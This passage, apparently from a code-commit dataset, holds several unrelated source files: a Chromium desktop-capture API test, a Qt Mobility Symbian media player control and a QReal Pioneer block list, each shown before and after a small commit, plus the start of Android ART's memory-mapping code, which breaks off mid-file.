DesktopCaptureChooseDesktopMediaFunction::\n SetPickerFactoryForTests(&picker_factory_);\n }\n virtual ~DesktopCaptureApiTest() {\n DesktopCaptureChooseDesktopMediaFunction::\n SetPickerFactoryForTests(NULL);\n }\n\n protected:\n GURL GetURLForPath(const std::string& host, const std::string& path) {\n std::string port = base::IntToString(embedded_test_server()->port());\n GURL::Replacements replacements;\n replacements.SetHostStr(host);\n replacements.SetPortStr(port);\n return embedded_test_server()->GetURL(path).ReplaceComponents(replacements);\n }\n\n FakeDesktopMediaPickerFactory picker_factory_;\n};\n\n} \/\/ namespace\n\n\/\/ Flaky on Windows: http:\/\/crbug.com\/301887\n#if defined(OS_WIN)\n#define MAYBE_ChooseDesktopMedia DISABLED_ChooseDesktopMedia\n#else\n#define MAYBE_ChooseDesktopMedia ChooseDesktopMedia\n#endif\nIN_PROC_BROWSER_TEST_F(DesktopCaptureApiTest, MAYBE_ChooseDesktopMedia) {\n \/\/ Each element in the following array corresponds to one test in\n \/\/ chrome\/test\/data\/extensions\/api_test\/desktop_capture\/test.js .\n TestFlags test_flags[] = {\n \/\/ pickerUiCanceled()\n { true, true,\n content::DesktopMediaID() },\n \/\/ chooseMedia()\n { true, true,\n content::DesktopMediaID(content::DesktopMediaID::TYPE_SCREEN, 0) },\n \/\/ screensOnly()\n { true, false,\n content::DesktopMediaID() },\n \/\/ WindowsOnly()\n { false, true,\n content::DesktopMediaID() },\n \/\/ chooseMediaAndGetStream()\n { true, true,\n content::DesktopMediaID(content::DesktopMediaID::TYPE_SCREEN,\n webrtc::kFullDesktopScreenId) },\n \/\/ chooseMediaAndTryGetStreamWithInvalidId()\n { true, true,\n content::DesktopMediaID(content::DesktopMediaID::TYPE_SCREEN,\n webrtc::kFullDesktopScreenId) },\n \/\/ cancelDialog()\n { true, true,\n content::DesktopMediaID(), true },\n };\n picker_factory_.SetTestFlags(test_flags, arraysize(test_flags));\n ASSERT_TRUE(RunExtensionTest(\"desktop_capture\")) << message_;\n}\n\n\/\/ Test is flaky http:\/\/crbug.com\/301887.\nIN_PROC_BROWSER_TEST_F(DesktopCaptureApiTest, DISABLED_Delegation) {\n \/\/ Initialize test server.\n base::FilePath test_data;\n EXPECT_TRUE(PathService::Get(chrome::DIR_TEST_DATA, &test_data));\n embedded_test_server()->ServeFilesFromDirectory(test_data.AppendASCII(\n \"extensions\/api_test\/desktop_capture_delegate\"));\n ASSERT_TRUE(embedded_test_server()->InitializeAndWaitUntilReady());\n host_resolver()->AddRule(\"*\", embedded_test_server()->base_url().host());\n\n \/\/ Load extension.\n base::FilePath extension_path =\n test_data_dir_.AppendASCII(\"desktop_capture_delegate\");\n const Extension* extension = LoadExtensionWithFlags(\n extension_path, ExtensionBrowserTest::kFlagNone);\n ASSERT_TRUE(extension);\n\n ui_test_utils::NavigateToURL(\n browser(), GetURLForPath(\"example.com\", \"\/example.com.html\"));\n\n TestFlags test_flags[] = {\n { true, true,\n content::DesktopMediaID(content::DesktopMediaID::TYPE_SCREEN, 0) },\n { true, true,\n content::DesktopMediaID(content::DesktopMediaID::TYPE_SCREEN, 0) },\n { true, true,\n content::DesktopMediaID(content::DesktopMediaID::TYPE_SCREEN, 0), true },\n };\n picker_factory_.SetTestFlags(test_flags, arraysize(test_flags));\n\n bool result;\n\n content::WebContents* web_contents =\n browser()->tab_strip_model()->GetActiveWebContents();\n\n ASSERT_TRUE(content::ExecuteScriptAndExtractBool(\n web_contents, \"getStream()\", &result));\n EXPECT_TRUE(result);\n\n ASSERT_TRUE(content::ExecuteScriptAndExtractBool(\n web_contents, \"getStreamWithInvalidId()\", &result));\n EXPECT_TRUE(result);\n\n \/\/ Verify that the picker is closed once the tab is closed.\n content::WebContentsDestroyedWatcher destroyed_watcher(web_contents);\n ASSERT_TRUE(content::ExecuteScriptAndExtractBool(\n web_contents, \"openPickerDialogAndReturn()\", &result));\n EXPECT_TRUE(result);\n EXPECT_TRUE(test_flags[2].picker_created);\n EXPECT_FALSE(test_flags[2].picker_deleted);\n\n web_contents->Close();\n destroyed_watcher.Wait();\n EXPECT_TRUE(test_flags[2].picker_deleted);\n}\n\n} \/\/ namespace extensions\n<|endoftext|>"} {"text":"<commit_before>\n\/****************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Mobility Components.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"s60mediaplayercontrol.h\"\n#include \"s60mediaplayersession.h\"\n\n#include <QtCore\/qdir.h>\n#include <QtCore\/qurl.h>\n#include <QtCore\/qdebug.h>\n\nS60MediaPlayerControl::S60MediaPlayerControl(MS60MediaPlayerResolver& mediaPlayerResolver, QObject *parent)\n : QMediaPlayerControl(parent),\n m_mediaPlayerResolver(mediaPlayerResolver),\n m_session(NULL),\n m_stream(NULL)\n{\n}\n\nS60MediaPlayerControl::~S60MediaPlayerControl()\n{\n}\n\nqint64 S60MediaPlayerControl::position() const\n{\n if (m_session)\n return m_session->position();\n return 0;\n}\n\nqint64 S60MediaPlayerControl::duration() const\n{\n if (m_session)\n return m_session->duration();\n return -1;\n}\n\nQMediaPlayer::State S60MediaPlayerControl::state() const\n{\n if (m_session)\n return m_session->state();\n return QMediaPlayer::StoppedState;\n}\n\nQMediaPlayer::MediaStatus S60MediaPlayerControl::mediaStatus() const\n{ \n if (m_session)\n return m_session->mediaStatus();\n return m_mediaSettings.mediaStatus();\n}\n\nint S60MediaPlayerControl::bufferStatus() const\n{\n if (m_session)\n return m_session->bufferStatus();\n return 0;\n}\n\nint S60MediaPlayerControl::volume() const\n{\n if (m_session)\n return m_session->volume();\n return m_mediaSettings.volume();\n}\n\nbool S60MediaPlayerControl::isMuted() const\n{\n if (m_session)\n return m_session->isMuted();\n return m_mediaSettings.isMuted();\n}\n\nbool S60MediaPlayerControl::isSeekable() const\n{\n if (m_session)\n return m_session->isSeekable();\n return false;\n}\n\nQMediaTimeRange S60MediaPlayerControl::availablePlaybackRanges() const\n{\n QMediaTimeRange ranges;\n\n if(m_session && m_session->isSeekable())\n ranges.addInterval(0, m_session->duration());\n\n return ranges;\n}\n\nqreal S60MediaPlayerControl::playbackRate() const\n{\n \/\/None of symbian players supports this.\n return m_mediaSettings.playbackRate();\n}\n\nvoid S60MediaPlayerControl::setPlaybackRate(qreal rate)\n{\n \/\/None of symbian players supports this.\n m_mediaSettings.setPlaybackRate(rate);\n emit playbackRateChanged(playbackRate());\n \n}\n\nvoid S60MediaPlayerControl::setPosition(qint64 pos)\n{\n if (m_session)\n m_session->setPosition(pos);\n}\n\nvoid S60MediaPlayerControl::play()\n{\n if (m_session)\n m_session->play();\n}\n\nvoid S60MediaPlayerControl::pause()\n{\n if (m_session)\n m_session->pause();\n}\n\nvoid S60MediaPlayerControl::stop()\n{\n if (m_session)\n m_session->stop();\n}\n\nvoid S60MediaPlayerControl::setVolume(int volume)\n{\n int boundVolume = qBound(0, volume, 100);\n if (boundVolume == m_mediaSettings.volume())\n return;\n \n m_mediaSettings.setVolume(boundVolume);\n if (m_session)\n m_session->setVolume(boundVolume);\n\n emit volumeChanged(boundVolume);\n}\n\nvoid S60MediaPlayerControl::setMuted(bool muted)\n{\n if (m_mediaSettings.isMuted() == muted)\n return;\n \n m_mediaSettings.setMuted(muted);\n if (m_session)\n m_session->setMuted(muted);\n \n emit mutedChanged(muted);\n}\n\nQMediaContent S60MediaPlayerControl::media() const\n{\n return m_currentResource;\n}\n\nconst QIODevice *S60MediaPlayerControl::mediaStream() const\n{\n return m_stream;\n}\n\nvoid S60MediaPlayerControl::setMedia(const QMediaContent &source, QIODevice *stream)\n{\n Q_UNUSED(stream)\n \/\/ we don't want to set & load media again when it is already loaded \n if (m_session && m_currentResource == source)\n return;\n \n \/\/ store to variable as session is created based on the content type.\n m_currentResource = source;\n S60MediaPlayerSession *newSession = m_mediaPlayerResolver.PlayerSession();\n m_mediaSettings.setMediaStatus(QMediaPlayer::UnknownMediaStatus);\n \n if (m_session)\n m_session->reset();\n else {\n emit mediaStatusChanged(QMediaPlayer::UnknownMediaStatus);\n emit error(QMediaPlayer::NoError, QString());\n }\n \n m_session = newSession;\n \n if (m_session)\n m_session->load(source.canonicalUrl());\n else {\n QMediaPlayer::MediaStatus status = (source.isNull()) ? QMediaPlayer::NoMedia : QMediaPlayer::InvalidMedia;\n m_mediaSettings.setMediaStatus(status);\n emit stateChanged(QMediaPlayer::StoppedState);\n emit error((source.isNull()) ? QMediaPlayer::NoError : QMediaPlayer::ResourceError, \n (source.isNull()) ? \"\" : tr(\"Media couldn't be resolved\"));\n emit mediaStatusChanged(status);\n }\n emit mediaChanged(m_currentResource);\n }\n\nS60MediaPlayerSession* S60MediaPlayerControl::session()\n{\n return m_session;\n}\n\nvoid S60MediaPlayerControl::setVideoOutput(QObject *output)\n{\n S60MediaPlayerSession *session = NULL;\n session = m_mediaPlayerResolver.VideoPlayerSession();\n session->setVideoRenderer(output);\n}\n\nbool S60MediaPlayerControl::isAudioAvailable() const\n{\n if (m_session)\n return m_session->isAudioAvailable(); \n return false;\n}\n\nbool S60MediaPlayerControl::isVideoAvailable() const\n{\n if (m_session)\n return m_session->isVideoAvailable();\n return false;\n}\n\nconst S60MediaSettings& S60MediaPlayerControl::mediaControlSettings() const\n{\n return m_mediaSettings;\n}\n\nvoid S60MediaPlayerControl::setAudioEndpoint(const QString& name)\n{\n m_mediaSettings.setAudioEndpoint(name);\n}\n<commit_msg>Symbian: minor cleanup<commit_after>\n\/****************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Mobility Components.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"s60mediaplayercontrol.h\"\n#include \"s60mediaplayersession.h\"\n\n#include <QtCore\/qdir.h>\n#include <QtCore\/qurl.h>\n#include <QtCore\/qdebug.h>\n\nS60MediaPlayerControl::S60MediaPlayerControl(MS60MediaPlayerResolver& mediaPlayerResolver, QObject *parent)\n : QMediaPlayerControl(parent),\n m_mediaPlayerResolver(mediaPlayerResolver),\n m_session(NULL),\n m_stream(NULL)\n{\n}\n\nS60MediaPlayerControl::~S60MediaPlayerControl()\n{\n}\n\nqint64 S60MediaPlayerControl::position() const\n{\n if (m_session)\n return m_session->position();\n return 0;\n}\n\nqint64 S60MediaPlayerControl::duration() const\n{\n if (m_session)\n return m_session->duration();\n return -1;\n}\n\nQMediaPlayer::State S60MediaPlayerControl::state() const\n{\n if (m_session)\n return m_session->state();\n return QMediaPlayer::StoppedState;\n}\n\nQMediaPlayer::MediaStatus S60MediaPlayerControl::mediaStatus() const\n{ \n if (m_session)\n return m_session->mediaStatus();\n return m_mediaSettings.mediaStatus();\n}\n\nint S60MediaPlayerControl::bufferStatus() const\n{\n if (m_session)\n return m_session->bufferStatus();\n return 0;\n}\n\nint S60MediaPlayerControl::volume() const\n{\n if (m_session)\n return m_session->volume();\n return m_mediaSettings.volume();\n}\n\nbool S60MediaPlayerControl::isMuted() const\n{\n if (m_session)\n return m_session->isMuted();\n return m_mediaSettings.isMuted();\n}\n\nbool S60MediaPlayerControl::isSeekable() const\n{\n if (m_session)\n return m_session->isSeekable();\n return false;\n}\n\nQMediaTimeRange S60MediaPlayerControl::availablePlaybackRanges() const\n{\n QMediaTimeRange ranges;\n\n if(m_session && m_session->isSeekable())\n ranges.addInterval(0, m_session->duration());\n\n return ranges;\n}\n\nqreal S60MediaPlayerControl::playbackRate() const\n{\n \/\/ TODO: Add Symbian^3 support\n return m_mediaSettings.playbackRate();\n}\n\nvoid S60MediaPlayerControl::setPlaybackRate(qreal rate)\n{\n \/\/ TODO: Add Symbian^3 support\n m_mediaSettings.setPlaybackRate(rate);\n emit playbackRateChanged(playbackRate());\n \n}\n\nvoid S60MediaPlayerControl::setPosition(qint64 pos)\n{\n if (m_session)\n m_session->setPosition(pos);\n}\n\nvoid S60MediaPlayerControl::play()\n{\n if (m_session)\n m_session->play();\n}\n\nvoid S60MediaPlayerControl::pause()\n{\n if (m_session)\n m_session->pause();\n}\n\nvoid S60MediaPlayerControl::stop()\n{\n if (m_session)\n m_session->stop();\n}\n\nvoid S60MediaPlayerControl::setVolume(int volume)\n{\n int boundVolume = qBound(0, volume, 100);\n if (boundVolume == m_mediaSettings.volume())\n return;\n \n m_mediaSettings.setVolume(boundVolume);\n if (m_session)\n m_session->setVolume(boundVolume);\n\n emit volumeChanged(boundVolume);\n}\n\nvoid S60MediaPlayerControl::setMuted(bool muted)\n{\n if (m_mediaSettings.isMuted() == muted)\n return;\n \n m_mediaSettings.setMuted(muted);\n if (m_session)\n m_session->setMuted(muted);\n \n emit mutedChanged(muted);\n}\n\nQMediaContent S60MediaPlayerControl::media() const\n{\n return m_currentResource;\n}\n\nconst QIODevice *S60MediaPlayerControl::mediaStream() const\n{\n return m_stream;\n}\n\nvoid S60MediaPlayerControl::setMedia(const QMediaContent &source, QIODevice *stream)\n{\n Q_UNUSED(stream)\n \/\/ we don't want to set & load media again when it is already loaded \n if (m_session && m_currentResource == source)\n return;\n \n \/\/ store to variable as session is created based on the content type.\n m_currentResource = source;\n S60MediaPlayerSession *newSession = m_mediaPlayerResolver.PlayerSession();\n m_mediaSettings.setMediaStatus(QMediaPlayer::UnknownMediaStatus);\n \n if (m_session)\n m_session->reset();\n else {\n emit mediaStatusChanged(QMediaPlayer::UnknownMediaStatus);\n emit error(QMediaPlayer::NoError, QString());\n }\n \n m_session = newSession;\n \n if (m_session)\n m_session->load(source.canonicalUrl());\n else {\n QMediaPlayer::MediaStatus status = (source.isNull()) ? QMediaPlayer::NoMedia : QMediaPlayer::InvalidMedia;\n m_mediaSettings.setMediaStatus(status);\n emit stateChanged(QMediaPlayer::StoppedState);\n emit error((source.isNull()) ? QMediaPlayer::NoError : QMediaPlayer::ResourceError, \n (source.isNull()) ? \"\" : tr(\"Media couldn't be resolved\"));\n emit mediaStatusChanged(status);\n }\n emit mediaChanged(m_currentResource);\n }\n\nS60MediaPlayerSession* S60MediaPlayerControl::session()\n{\n return m_session;\n}\n\nvoid S60MediaPlayerControl::setVideoOutput(QObject *output)\n{\n m_mediaPlayerResolver.VideoPlayerSession()->setVideoRenderer(output);\n}\n\nbool S60MediaPlayerControl::isAudioAvailable() const\n{\n if (m_session)\n return m_session->isAudioAvailable(); \n return false;\n}\n\nbool S60MediaPlayerControl::isVideoAvailable() const\n{\n if (m_session)\n return m_session->isVideoAvailable();\n return false;\n}\n\nconst S60MediaSettings& S60MediaPlayerControl::mediaControlSettings() const\n{\n return m_mediaSettings;\n}\n\nvoid S60MediaPlayerControl::setAudioEndpoint(const QString& name)\n{\n m_mediaSettings.setAudioEndpoint(name);\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2017 QReal Research Group\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"pioneerKit\/blocks\/pioneerBlocksFactory.h\"\n\nusing namespace pioneer::blocks;\n\nqReal::interpretation::Block *PioneerBlocksFactory::produceBlock(const qReal::Id &element)\n{\n\tQ_UNUSED(element);\n\treturn nullptr;\n}\n\nqReal::IdList PioneerBlocksFactory::providedBlocks() const\n{\n\treturn {\n\t\t\tid(\"GeoTakeoff\")\n\t\t\t, id(\"GeoLanding\")\n\t\t\t, id(\"GoToPoint\")\n\t\t\t, id(\"GoToGPSPoint\")\n\t\t\t, id(\"PioneerPrint\")\n\t\t\t, id(\"PioneerSystem\")\n\t\t\t, id(\"PioneerLed\")\n\t\t\t, id(\"PioneerMagnet\")\n\t\t\t, id(\"PioneerYaw\")\n\t};\n}\n\nqReal::IdList PioneerBlocksFactory::blocksToDisable() const\n{\n\treturn {\n\t};\n}\n\nqReal::IdList PioneerBlocksFactory::blocksToHide() const\n{\n\treturn {\n\t\t\tid(\"Function\")\n\t\t\t, id(\"SwitchBlock\")\n\t\t\t, id(\"Loop\")\n\t\t\t, id(\"Subprogram\")\n\t\t\t, id(\"Fork\")\n\t\t\t, id(\"Join\")\n\t\t\t, id(\"KillThread\")\n\n\t\t\t, id(\"SendMessageThreads\")\n\n\t\t\t, id(\"ReceiveMessageThreads\")\n\n\t\t\t, id(\"PrintText\")\n\t\t\t, id(\"ClearScreen\")\n\t\t\t, id(\"MarkerDown\")\n\t\t\t, id(\"MarkerUp\")\n\t};\n}\n<commit_msg>GS request: hide If\/EndIf blocks in PIONEER<commit_after>\/* Copyright 2017 QReal Research Group\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"pioneerKit\/blocks\/pioneerBlocksFactory.h\"\n\nusing namespace pioneer::blocks;\n\nqReal::interpretation::Block *PioneerBlocksFactory::produceBlock(const qReal::Id &element)\n{\n\tQ_UNUSED(element);\n\treturn nullptr;\n}\n\nqReal::IdList PioneerBlocksFactory::providedBlocks() const\n{\n\treturn {\n\t\t\tid(\"GeoTakeoff\")\n\t\t\t, id(\"GeoLanding\")\n\t\t\t, id(\"GoToPoint\")\n\t\t\t, id(\"GoToGPSPoint\")\n\t\t\t, id(\"PioneerPrint\")\n\t\t\t, id(\"PioneerSystem\")\n\t\t\t, id(\"PioneerLed\")\n\t\t\t, id(\"PioneerMagnet\")\n\t\t\t, id(\"PioneerYaw\")\n\t};\n}\n\nqReal::IdList PioneerBlocksFactory::blocksToDisable() const\n{\n\treturn {\n\t};\n}\n\nqReal::IdList PioneerBlocksFactory::blocksToHide() const\n{\n\treturn {\n\t\t\tid(\"Function\")\n\t\t\t, id(\"SwitchBlock\")\n\t\t\t, id(\"Loop\")\n\t\t\t, id(\"Subprogram\")\n\t\t\t, id(\"Fork\")\n\t\t\t, id(\"Join\")\n\t\t\t, id(\"KillThread\")\n\t\t\t, id(\"IfBlock\")\n\t\t\t, id(\"FiBlock\")\n\n\t\t\t, id(\"SendMessageThreads\")\n\n\t\t\t, id(\"ReceiveMessageThreads\")\n\n\t\t\t, id(\"PrintText\")\n\t\t\t, id(\"ClearScreen\")\n\t\t\t, id(\"MarkerDown\")\n\t\t\t, id(\"MarkerUp\")\n\t};\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2008 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"mem_map.h\"\n\n#include <sys\/mman.h>\n\n#include \"ScopedFd.h\"\n#include \"utils.h\"\n\n#define USE_ASHMEM 1\n\n#ifdef USE_ASHMEM\n#include <cutils\/ashmem.h>\n#endif\n\nnamespace art {\n\n#if !defined(NDEBUG)\n\nstatic size_t ParseHex(const std::string& string) {\n CHECK_EQ(8U, string.size());\n const char* str = string.c_str();\n char* end;\n size_t value = strtoul(str, &end, 16);\n CHECK(end != str) << \"Failed to parse hexadecimal value from \" << string;\n CHECK_EQ(*end, '\\0') << \"Failed to parse hexadecimal value from \" << string;\n return value;\n}\n\nstatic void CheckMapRegion(uint32_t base, uint32_t limit, uint32_t start, uint32_t end, const std::string& maps) {\n CHECK(!(base >= start && base < end) \/\/ start of new within old\n && !(limit > start && limit < end) \/\/ end of new within old\n && !(base <= start && limit > end)) \/\/ start\/end of new includes all of old\n << StringPrintf(\"Requested region %08x-%08x overlaps with existing map %08x-%08x\\n\",\n base, limit, start, end)\n << maps;\n}\n\nvoid CheckMapRequest(byte* addr, size_t length) {\n if (addr == NULL) {\n return;\n }\n uint32_t base = reinterpret_cast<size_t>(addr);\n uint32_t limit = base + length;\n\n#if defined(__APPLE__)\n \/\/ Mac OS vmmap(1) output currently looks something like this:\n\n \/\/ Virtual Memory Map of process 51036 (dex2oatd)\n \/\/ Output report format: 2.2 -- 32-bit process\n \/\/\n \/\/ ==== regions for process 51036 (non-writable and writable regions are interleaved)\n \/\/ __PAGEZERO 00000000-00001000 [ 4K 0K 0K] ---\/--- SM=NUL out\/host\/darwin-x86\/bin\/dex2oatd\n \/\/ __TEXT 00001000-00015000 [ 80K 80K 0K] r-x\/rwx SM=COW out\/host\/darwin-x86\/bin\/dex2oatd\n \/\/ __DATA 00015000-00016000 [ 4K 4K 4K] rw-\/rwx SM=PRV out\/host\/darwin-x86\/bin\/dex2oatd\n \/\/ __LINKEDIT 00016000-00044000 [ 184K 184K 0K] r--\/rwx SM=COW out\/host\/darwin-x86\/bin\/dex2oatd\n \/\/ __TEXT 00044000-00046000 [ 8K 8K 4K] r-x\/rwx SM=COW out\/host\/darwin-x86\/obj\/lib\/libnativehelper.dylib\n \/\/ __DATA 00046000-00047000 [ 4K 4K 4K] rw-\/rwx SM=ZER out\/host\/darwin-x86\/obj\/lib\/libnativehelper.dylib\n \/\/ __LINKEDIT 00047000-0004a000 [ 12K 12K 0K] r--\/rwx SM=COW out\/host\/darwin-x86\/obj\/lib\/libnativehelper.dylib\n \/\/ ...\n\n \/\/ TODO: the -v option replaces \"-w -resident -dirty -purge -submap -allSplitLibs -noCoalesce\" >= 10.6.\n std::string command(StringPrintf(\"vmmap -w -resident -submap -allSplitLibs -interleaved %d\", getpid()));\n FILE* fp = popen(command.c_str(), \"r\");\n if (fp == NULL) {\n PLOG(FATAL) << \"popen failed\";\n }\n std::vector<char> chars(512);\n std::string maps;\n while (fgets(&chars[0], chars.size(), fp) != NULL) {\n std::string line(&chars[0]);\n maps += line;\n if (line.size() < 40 || line[31] != '-') {\n continue;\n }\n\n std::string start_str(line.substr(23, 8));\n std::string end_str(line.substr(32, 8));\n uint32_t start = ParseHex(start_str);\n uint32_t end = ParseHex(end_str);\n CheckMapRegion(base, limit, start, end, maps);\n }\n if (ferror(fp)) {\n PLOG(FATAL) << \"fgets failed\";\n }\n if (pclose(fp) == -1) {\n PLOG(FATAL) << \"pclose failed\";\n }\n#else \/\/ Linux\n std::string maps;\n bool read = ReadFileToString(\"\/proc\/self\/maps\", &maps);\n if (!read) {\n PLOG(FATAL) << \"Failed to read \/proc\/self\/maps\";\n }\n \/\/ Quick and dirty parse of output like shown below. We only focus\n \/\/ on grabbing the two 32-bit hex values at the start of each line\n \/\/ and will fail on wider addresses found on 64-bit systems.\n\n \/\/ 00008000-0001f000 r-xp 00000000 b3:01 273 \/system\/bin\/toolbox\n \/\/ 0001f000-00021000 rw-p 00017000 b3:01 273 \/system\/bin\/toolbox\n \/\/ 00021000-00029000 rw-p 00000000 00:00 0 [heap]\n \/\/ 40011000-40053000 r-xp 00000000 b3:01 1050 \/system\/lib\/libc.so\n \/\/ 40053000-40056000 rw-p 00042000 b3:01 1050 \/system\/lib\/libc.so\n \/\/ 40056000-40061000 rw-p 00000000 00:00 0\n \/\/ 40061000-40063000 r-xp 00000000 b3:01 1107 \/system\/lib\/libusbhost.so\n \/\/ 40063000-40064000 rw-p 00002000 b3:01 1107 \/system\/lib\/libusbhost.so\n \/\/ 4009d000-400a0000 r-xp 00000000 b3:01 1022 \/system\/lib\/liblog.so\n \/\/ 400a0000-400a1000 rw-p 00003000 b3:01 1022 \/system\/lib\/liblog.so\n \/\/ 400b7000-400cc000 r-xp 00000000 b3:01 932 \/system\/lib\/libm.so\n \/\/ 400cc000-400cd000 rw-p 00015000 b3:01 932 \/system\/lib\/libm.so\n \/\/ 400cf000-400d0000 r--p 00000000 00:00 0\n \/\/ 400e4000-400ec000 r--s 00000000 00:0b 388 \/dev\/__properties__ (deleted)\n \/\/ 400ec000-400fa000 r-xp 00000000 b3:01 1101 \/system\/lib\/libcutils.so\n \/\/ 400fa000-400fb000 rw-p 0000e000 b3:01 1101 \/system\/lib\/libcutils.so\n \/\/ 400fb000-4010a000 rw-p 00000000 00:00 0\n \/\/ 4010d000-4010e000 r-xp 00000000 b3:01 929 \/system\/lib\/libstdc++.so\n \/\/ 4010e000-4010f000 rw-p 00001000 b3:01 929 \/system\/lib\/libstdc++.so\n \/\/ b0001000-b0009000 r-xp 00001000 b3:01 1098 \/system\/bin\/linker\n \/\/ b0009000-b000a000 rw-p 00009000 b3:01 1098 \/system\/bin\/linker\n \/\/ b000a000-b0015000 rw-p 00000000 00:00 0\n \/\/ bee35000-bee56000 rw-p 00000000 00:00 0 [stack]\n \/\/ ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]\n\n for (size_t i = 0; i < maps.size(); i++) {\n size_t remaining = maps.size() - i;\n if (remaining < 8+1+8) { \/\/ 00008000-0001f000\n LOG(FATAL) << \"Failed to parse at pos \" << i << \"\\n\" << maps;\n }\n std::string start_str(maps.substr(i, 8));\n std::string end_str(maps.substr(i+1+8, 8));\n uint32_t start = ParseHex(start_str);\n uint32_t end = ParseHex(end_str);\n CheckMapRegion(base, limit, start, end, maps);\n i += 8+1+8;\n i = maps.find('\\n', i);\n CHECK(i != std::string::npos) << \"Failed to find newline from pos \" << i << \"\\n\" << maps;\n }\n#endif\n}\n\n#else\nstatic void CheckMapRequest(byte*, size_t) { }\n#endif\n\nMemMap* MemMap::MapAnonymous(const char* name, byte* addr, size_t length, int prot) {\n CHECK_NE(0U, length);\n CHECK_NE(0, prot);\n size_t page_aligned_size = RoundUp(length, kPageSize);\n CheckMapRequest(addr, page_aligned_size);\n\n#ifdef USE_ASHMEM\n ScopedFd fd(ashmem_create_region(name, page_aligned_size));\n int flags = MAP_PRIVATE;\n if (fd.get() == -1) {\n PLOG(ERROR) << \"ashmem_create_region failed (\" << name << \")\";\n return NULL;\n }\n#else\n ScopedFd fd(-1);\n int flags = MAP_PRIVATE | MAP_ANONYMOUS;\n#endif\n\n byte* actual = reinterpret_cast<byte*>(mmap(addr, page_aligned_size, prot, flags, fd.get(), 0));\n if (actual == MAP_FAILED) {\n PLOG(ERROR) << \"mmap failed (\" << name << \")\";\n return NULL;\n }\n return new MemMap(actual, length, actual, page_aligned_size);\n}\n\nMemMap* MemMap::MapFileAtAddress(byte* addr, size_t length, int prot, int flags, int fd, off_t start) {\n CHECK_NE(0U, length);\n CHECK_NE(0, prot);\n CHECK_NE(0, flags & (MAP_SHARED | MAP_PRIVATE));\n \/\/ adjust to be page-aligned\n int page_offset = start % kPageSize;\n off_t page_aligned_offset = start - page_offset;\n size_t page_aligned_size = RoundUp(length + page_offset, kPageSize);\n CheckMapRequest(addr, page_aligned_size);\n byte* actual = reinterpret_cast<byte*>(mmap(addr,\n page_aligned_size,\n prot,\n flags,\n fd,\n page_aligned_offset));\n if (actual == MAP_FAILED) {\n PLOG(ERROR) << \"mmap failed\";\n return NULL;\n }\n return new MemMap(actual + page_offset, length, actual, page_aligned_size);\n}\n\nMemMap::~MemMap() {\n if (base_begin_ == NULL && base_size_ == 0) {\n return;\n }\n int result = munmap(base_begin_, base_size_);\n if (result == -1) {\n PLOG(FATAL) << \"munmap failed\";\n }\n}\n\nMemMap::MemMap(byte* begin, size_t size, void* base_begin, size_t base_size)\n : begin_(begin), size_(size), base_begin_(base_begin), 